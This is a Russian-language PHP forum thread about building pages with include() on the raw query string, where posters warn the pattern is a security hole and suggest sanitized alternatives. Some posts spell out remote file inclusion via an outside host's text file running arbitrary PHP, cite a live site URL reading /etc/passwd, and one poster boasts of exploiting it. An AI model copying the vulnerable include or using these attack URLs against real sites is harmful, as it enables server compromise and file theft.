maxy_v
Guest
А вообще- для пущей защищенности инклюдов я их все складываю в один каталог, в котором больше кроме инклюдов ничего нет, и кладу туда .htaccess cо строкой "Deny from All"
да, конечно, в эту дыру пролезет и слон.Автор оригинала: Unregistered
На сколько я понял что Вы против, такого подхода
<html>
<head>
........
</head>
<body>
<?php
$add = $QUERY_STRING;
if ($add == "") { $addres = "main.html"; } else { $addres = $add; }
include ( $addres );
?>
</body></html>
а ссылки в файле index.php делаем index.php?patch/index.html.
сказал же, что ДЫРА ЭТО!!! ДЫРИЩА!Автор оригинала: Unregistered
Нет....
Просто "затраханый"вечной сменой дизайна, вот хотел уйти от фреймов, но пока...
А что Вы на такое скажете (index.phtml)
я юзаю switchАвтор оригинала: Unregistered
А как лучше посоветуете?...
safe_mode включен
угадай что я отвечуАвтор оригинала: Unregistered
switch Что это такое?
Я в PHP не силен, знания оканчиваются html и Java слегка CGI
тогда пересмотрят все файлыАвтор оригинала: Unregistered
Но на сколько я понял, в принципе если в директориях и файлах ни чего не прячешь то можно применять этот вариант (если весь сайт был на чистом html, типа визитка или типа -пусть пересмотрят хоть все файлы
(index.phtml)
<html>
<head>
............
</head>
<body>
<?php
$add = $QUERY_STRING;
if ($add == "") { $addres = "main.phtml"; } else { $addres = $add; }
include ( $addres );
?>
</body></html>
а ссылки в файле index.phtml делаем http://name/index.phtml?patch/index.phtml,
так называемая - передача имени страницы или есть еще каие-то проблемы в этом подходе?
Если хочешь юзать такой код, то хотя-бы вырезай из $QUERY_STRING всякие нехорошие символы, а странички бери из определённой папки.Автор оригинала: Unregistered
Но на сколько я понял, в принципе если в директориях и файлах ни чего не прячешь то можно применять этот вариант (если весь сайт был на чистом html, типа визитка или типа -пусть пересмотрят хоть все файлы
(index.phtml)
<html>
<head>
............
</head>
<body>
<?php
$add = $QUERY_STRING;
if ($add == "") { $addres = "main.phtml"; } else { $addres = $add; }
include ( $addres );
?>
</body></html>
а ссылки в файле index.phtml делаем http://name/index.phtml?patch/index.phtml,
так называемая - передача имени страницы или есть еще каие-то проблемы в этом подходе?
$page = ereg_replace("[^0-9a-zA-Z.]+" , "", $QUERY_STRING);
if ($page=="")
{
include ("pages/main.html");
}
else
{
if(file_exists("pages/".$page.".html")
{
include("pages/".$page.".html");
}
else
{
include("pages/main.html");
}
}
да?Автор оригинала: makRo
Вместо локального файла подключаем
http://youSite/youScript.php?[url]http://otherSite.FreeServer.ru/Very_good_code_=[/url]).txt
где в Very_good_code_=).txt
<?
/* ЧТО УГОДНО !!! Редактирование, удаление, создание файлов ...... И Т.Д.*/
?>
делаем с сайтом чего хотим
поэтому инклудится TXT, а не PHP...Автор оригинала: tony2001
да?
include инклудит РЕЗУЛЬТАТ выполнения скрипта с удаленного сервера, а не сам скрипт.
иначе уже бы пол-инета хакнули.
В том то и фишка, что подключается просто текст ! И если этот текст заключён между <? ... ?> то он воспринимается как такой же php-код как и в первом скрипте ))Автор оригинала: tony2001
да?
include инклудит РЕЗУЛЬТАТ выполнения скрипта с удаленного сервера, а не сам скрипт.
иначе уже бы пол-инета хакнули.
тони прав только в том, что выдается результат с сервера (интерпретируется он сервером или нет)... и если include, то включается в исполняемый код скрипта, т.е. ИНТЕРПРЕТИРУЕТСЯ.Автор оригинала: telepuzik
то есть по идее tony прав - отдается результат исполнения который включается в вывод, но никак не интерпритируется...
может я не прав? кто нить пробовал реально такое провернуть?
Точно так ))Автор оригинала: AnToXa
тони прав только в том, что выдается результат с сервера (интерпретируется он сервером или нет)... и если include, то включается в исполняемый код скрипта, т.е. ИНТЕРПРЕТИРУЕТСЯ.
бред.Автор оригинала: makRo
Точно так ))
Интерпретируется и исполняется он на сервере КУДА инклудится и не на том С КОТОРОГО инклудится
это не есть "ошибка"Автор оригинала: ruslan
1. Не сокрытие от обычного пользователя сообщений об ошибках в скрипте (пипа header already send)
2. Вываливание клиенту отладочной информации типа текста непрошедших запросов и т.п.
Такая информация сильно поможет кракеру в поиске других ошибок.Автор оригинала: etc
это не есть "ошибка"
Ниче там не закрыли, тупой программер делал, вставили проверку, чтобы конец строки на htm заканчивался, ну я им и залилАвтор оригинала: makRo
Тут на первой паге приводили пример с http://technomania.ru/main.php3?/etc/passwd (дыру уже вроде закрыли).